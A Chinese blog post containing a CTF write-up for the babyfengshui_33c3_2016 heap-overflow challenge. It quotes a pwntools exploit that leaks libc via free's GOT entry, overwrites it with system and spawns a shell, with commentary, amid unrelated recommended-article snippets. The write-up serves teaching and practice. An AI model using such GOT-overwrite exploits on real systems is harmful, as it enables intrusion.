从babyfengshui_33c3_2016中提升抽象能力

Qt C++实现HTTP/HTTPS服务器与客户端:从Socket到协议解析全流程 HTTP协议作为Web通信的基础,定义了客户端与服务器之间基于文本的请求-响应模型。其工作原理是通过TCP连接传输结构化的报文,实现资源获取与数据交换。在C++开发中,掌握HTTP协议底层实现具有重要技术价值,能够帮助开发者构建高性能、可深度定制的网络应用,尤其适用于嵌入式设备管理、桌面应用后端等场景。本文聚焦于使用Qt框架的QTcpSocket和QSslSocket组件,从Socket层面手动实现完整的HTTP/HTTPS通信栈,涵盖协议解析、流式处理、路由分发等核心环节,并深入探讨了HTTPS证书验证、 阅读详情

直接分析WP:

Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')
Del(0)

#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')

#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)

p.interactive()

来自这位师傅

首先这个输入检查机制不必多说,绕过检查机制,导致堆溢出是本题的关键。

接下来我们来关注两个重点的问题,,,就是 “往某个地址写东西“” ,这句话的利用:

在这里插入图片描述

Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)

这其实就是在修改description处的用户数据区的值,原本要显示的第二个堆中存着的堆地址被改变。
导致直接去显示了got表中free函数的函数地址,这里比较巧,elf.got[,]和图中那个sub_80486bb的第一个地址一样,都是可以被写的地址。

Upd(1, 0x4, p32(sys_addr))
Del(2)

再来看这个,利用之前传入的free.got表的地址,再利用该函数往该地址写入数据的功能,导致本来是要向原本存储的第一个堆块的地址处写数据改为向free.got表处写数据,直接导致free.got表处的free函数的地址被修改,,,,而后执行system(“/bin/sh\x00”)

在这里插入图片描述
有一点比较离谱的是,这里free的参数是个"/bin/sh\x00"该字符串的地址

Isaac Sim 车辆动力学:从参数调优到户外仿真的挑战与实战 本文深入探讨了Isaac Sim在车辆动力学仿真中的应用,从参数调优到户外场景模拟的实战经验。详细解析了悬架系统、轮胎物理模型等核心参数的设置技巧,并分享了应对户外仿真挑战的实用方案。通过Vehicle Wizard高级使用和传感器配置,帮助开发者高效完成车辆仿真与算法开发。 阅读详情

相关推荐

Innovus 安装全过程

【代码】Innovus 安装全过程。

lmyynlbcy的博客 5537

攻防世界PWN之Babyfengshui题解

本题,首先,为了方便调试,我们需要解决alarm clock问题 程序运行几十秒后就会自动退出,所以,为了方便调试,我们需要先修改一下这个二进制 我们用十六进制编辑器把这几个指令nop(0x90)掉即可 然后,我们就开始做题了 查看创建功能的函数 这里创建了两个堆,第一个堆用来存储description,第二个堆用来存储第一个堆的指针以及name字符串 其数据...

seaaseesa的博客 1201

从M350 RTK到E-Port:解锁大疆无人机多负载协同与PSDK V3开发新范式

本文深入解析了大疆M350 RTK无人机搭载的E-Port智能接口与全新的PSDK V3开发套件,如何共同实现多负载协同作业的范式转变。E-Port集成了供电与高速数据总线,而PSDK V3通过统一的设备模型与服务机制,大幅降低了第三方负载的开发门槛与集成复杂度,使构建如智能巡检等复杂空中作业系统变得更加高效和标准化。

3c4x5z6v7b的博客 166

babyfengshui 堆溢出的入门题

本文 参考资料 https://github.com/firmianay/CTF-All-In-One 感谢 作者的 无私奉献 若是侵权 请联系 本人 本人会修改或删除 这道题 其实我也是看这篇文章才撸会的 怎么说呢 这个题 本来 我也是有点迷糊的 补了一些 堆溢出的资料 就懂了许多 这里我是结合资料 来写的 本人也是一个菜虾 要是哪里不对 还请指教 ...

qq_41071646的博客 1886

手把手教你用FPGA实现SerDes高速接口设计(附避坑指南)

本文是一份详尽的FPGA SerDes高速接口设计实战指南。文章深入剖析了SerDes硬核(如GTX/GTH)的时钟管理、发送端均衡、接收端CDR与均衡等核心模块,并提供了Verilog代码示例。重点分享了信号完整性分析、眼图调试与误码率测试等实战经验,附有自定义高速视频流接口的完整实现案例与避坑指南,帮助工程师从“会用”到“懂”且能独立驾驭高速接口设计。

ik678901234的博客 1146

SRCNN超分辨率Pytorch实现,代码逐行讲解,附源码

超分辨率,就是把低分辨率(LR, Low Resolution)图片放大为高分辨率(HR, High Resolution)的过程。通过CNN将图像Y 的特征提取出来存到向量中。用一层的CNN以及ReLU去将图像Y 变成一堆堆向量,即feature map。把提取到的特征进一步做非线性映射,加大网络深度,提高网络复杂性。结合了前面得到的补丁来产生最终的高分辨率图像。实验步骤。

weixin_52261094的博客 3万+

【buu】babyfengshui_33c3_2016(详细题解)

buu日常一题

qq_62068476的博客 653

Jetson Nano官方镜像下载&烧录

在NVIDIA Jetson Nano开发者套件上安装NVIDIA官方Ubuntu镜像

weixin_44222088的博客 8851

攻防世界babyfengshui解题思路

解题思路 基本信息查询 healer@healer:~/Documents/CTF/PWN/babyfengshui$ readelf -h babyfengshui ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, litt

aptx4869_li的博客 373

瑞萨RZN2L工业以太网开发避坑指南:EtherCAT从入门到通信调试全流程

本文详细解析了瑞萨RZN2L MPU在工业以太网开发中的EtherCAT从站配置与通信优化全流程。通过硬件设计关键点、协议栈选型、PDO映射策略及DC同步精度优化等实战技巧,帮助开发者快速搭建高效通信框架并解决调试中的常见问题,特别适合工业自动化领域的实时通信需求。

aitie1479的博客 461

[案例四] 智能填写属性工具(支持装配组件还有建模实体属性的批量创建、编辑)

本次案例主要是对上次导出自动导出BOM的一个前处理,要想导出属性,首先的有属性。于是本着学习的态度进行制作,可能有些功能有点别扭(支持装配环境下组件属性的批量填写,支持建模环境下的实体(不包括装配组件实体)——为了减负我把其过滤掉了,一般没人会往装配体里添加进行建模吧,但是不免有奇葩,哈哈哈)。

weixin_47753171的博客 1981

babyfengshui [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列23

题目地址:babyfengshui 这个题目是高手进阶区的第12题。本题的主要考点是堆溢出,现在ctf主要的考点都已经转移到了堆溢出了,这个题目作为堆溢出的基础题目,还是很容易入门的。 先看看题目 惯例检查一下保护机制: [*] '/ctf/work/python/babyfengshui/babyfengshui' Arch: i386-32-little RE...

重新启程 1016

学Simulink--基于多物理场耦合与系统集成的储能系统场景实例:压缩空气储能(CAES)系统的热力学建模与效率分析

本文提供了一个基于Simulink的压缩空气储能(CAES)系统热力学建模教程。通过多物理场耦合方法,详细演示了从系统架构设计到仿真测试的全过程,包括多级压缩机/膨胀机系统搭建、显热蓄热系统设计以及效率分析。文章重点强调了热管理对提升CAES效率的关键作用,并给出了68%电-电效率的优化案例。最后提出了变工况建模、不同蓄热介质对比等高级优化方向,为开发零碳大容量储能系统提供了实用工具和方法。

amy_mhd的博客 131

babyfengshui 堆溢出简单利用

题目:babyfengshui 难度:** 漏洞利用:堆溢出 环境:ubuntu16.04 pwntools LibcSearcher 参考链接:传送1 利用思路: 这道题之前做过。最近刷题老刷栈溢出,感觉很没意思,就找了堆的题练练手,不然没什么进步。 菜单题。 一个个选项分析,发现再update里面有问题 这句话就是说,length+&description不能超过结构体struct...

qq_42728977的博客 325

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

babyfengshui-堆溢出

babyfengshui-堆溢出 题目是一个32位的选单式程序,大致功能和保护如下 逐一分析各个功能,首先是Add_user部分 printf("size of description: "); __isoc99_scanf("%u%c", &v2, &v0); sub_8048816(v2); _DWORD *__cdecl sub_80...

playmaker的博客 312

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

babyfengshui(xctf)

0x0 程序保护和流程 保护: 流程: main() add_user() 连续分配了两个堆块,并将第一次分配的堆块的指针存入第二次分配的堆块的fd字段,bk字段开始存放name,之后调用了update_user() 输入完length之后要经过判断,需要第一次分配的堆块的数据段的地址加上输入的长度的值必须小于第二次分配的堆块的数据段的地址减4的值才能输入text。 delete_user() 根据索引分别释放两个堆块,再将指向第二次分配堆块的指针清零。 display_user() 根据索引输

weixin_43868725的博客 279

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

[pwn]堆:堆风水与堆排布-babyfengshui

[pwn]堆:堆风水与堆排布-babyfengshui 所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果。通过一道经典的题目,由清华蓝莲花战队出的babyfengshui来看一下: babyfengshui 查看安全策略 没开PIE,但值得一提的是这是一个32位的程序,32位的堆是4字节对齐的。 查看程序逻辑 ...

Breeze的博客 1万+

babyfengshui__BUUCTF

其实这个题用了两天,第一天拿上题的时候比较浮躁,也没什么分析的效果,把题做出来了,写个文章大家分析交流 我看网上大家都说这个题适合入门堆得看,其实我感觉要是没接触过堆得话,理解起来还是比较困难的,我会将自己做题的思路记录下来,让大家少踩点坑 做题思路 1.查看安全机制/文件信息 2.分析IDA,梳理思路很重要 3.分析构造漏洞利用(其实自己都是一步步来的,毕竟还是个小白呢) 4.编写EXP文件 安...

Jc 721

[XCTF-pwn] 27_babyfengshui

输入长度判断错误。可写溢出。 数据结构: 管理块0x80: char *data_ptr; name[0x7c] 先写数据块再写管理块 unsigned int __cdecl read_text(unsigned __int8 a1) { char v2; // [esp+17h] [ebp-11h] BYREF int v3; // [esp+18h] [ebp-10h] BYREF unsigned int v4; // [esp+1Ch] [e...

weixin_52640415的博客 441

babyfengshui_33c3_2016题解

这道题还是比较基础的堆题,泄漏libc和get shell都比较基础。需要注意的是以下几点: 输入长度限制的绕过方法值得学习一下。 泄漏libc时将free got表中写入puts.plt是不可行的,因为这道题的输入结束时候会带上\x00,这样就会破坏free got表的下一项fgets got,导致程序运行失败。 我最后本机上运行成功,但是远程打不通,后来经过发现是因为libc的版本不一样,导...

coco的博客 1017

(攻防世界)(pwn)babyfengshui

入门级的堆题,拿来学习还是不错的。 做这道题之前,最好还是先对堆的数据结构有一定的了解。 拿到题目,下载附件,查看保护。 一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈保护只是锦上添花罢了。 把文件拖进IDA查看逻辑: 可以看到,典型的菜单题,这很pwn,实现了增删改查四个功能,像极了C语言程序设计的期末结业程序设计题哈哈哈,暴露年龄。 进入增加用户功能: 可...

PLpa的博客 1410

babyfengshui_33c3_2016[堆溢出]

未来的你 = 你的热情 + 你的努力 + 那么微不足道的天赋 其实做pwn题我感觉都是只可意会,但并非不可言传,只是说了感觉和说废话一样,没有什么实质性的作用,最最重要的是要自己多去操作调试,pwn多了也就那样吧!但是最核心的永远是你coding的能力!虽然在干着逆向的事,但是coding的能力决定了你的高度! ----小白感悟 这道题问题出现在更新的时候边界的判断方法有问题,结合的堆的机制,就可以形成堆溢出! 添加一个用户会申请两个chunk,后一个chunk的内容为.

、moddemod 570

多校B题Baby Bites

简单模拟读懂题就好了 一开始忘记转换多位数了wa了一下 #include<iostream> #include<stdio.h> #include<cstring> using namespace std; char a[10]; int change(char a[]) { int n=strlen(a); int ret=0;for(int ...

weixin_43331783的博客 267

一道简单的入门pwn题

这是一道入门的pwn题 链接:https://pan.baidu.com/s/1vltSv8tJYrqKw8vATxwNYA 密码:f0qy 拿到题先用file命令查看一下文件信息 可以看到是32-bit 的elf文件,用32位的IDA打开。 首先进入main函数,F5反编译后分析代码 定位到输入的参数&s,可以看到参数s分配的空间。这一题通过覆盖的方式执行_system...

m1785717的博客 1万+

理解 Linux 动态库加载:LD_LIBRARY_PATH

flyfish

二分掌柜的 350

USB 技术系列 11 · USB Linux 驱动框架

本文系统解析Linux USB驱动框架,涵盖USB Core、HCD(xhci-hcd/dwc3)、类驱动(CDC/HID/Mass Storage)分层架构,详解usb_device_id匹配、probe/disconnect生命周期及Device Tree配置。结合RISC-V N300实战,揭示Host/Device双模式驱动开发核心逻辑,助力嵌入式BSP开发者掌握USB子系统全栈能力。

peter_pan_study的博客 256
上一篇: 关于利用alpha3生成可打印shellcode的报错的解决
下一篇: 对“ciscn_2019_n_3“的理解
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值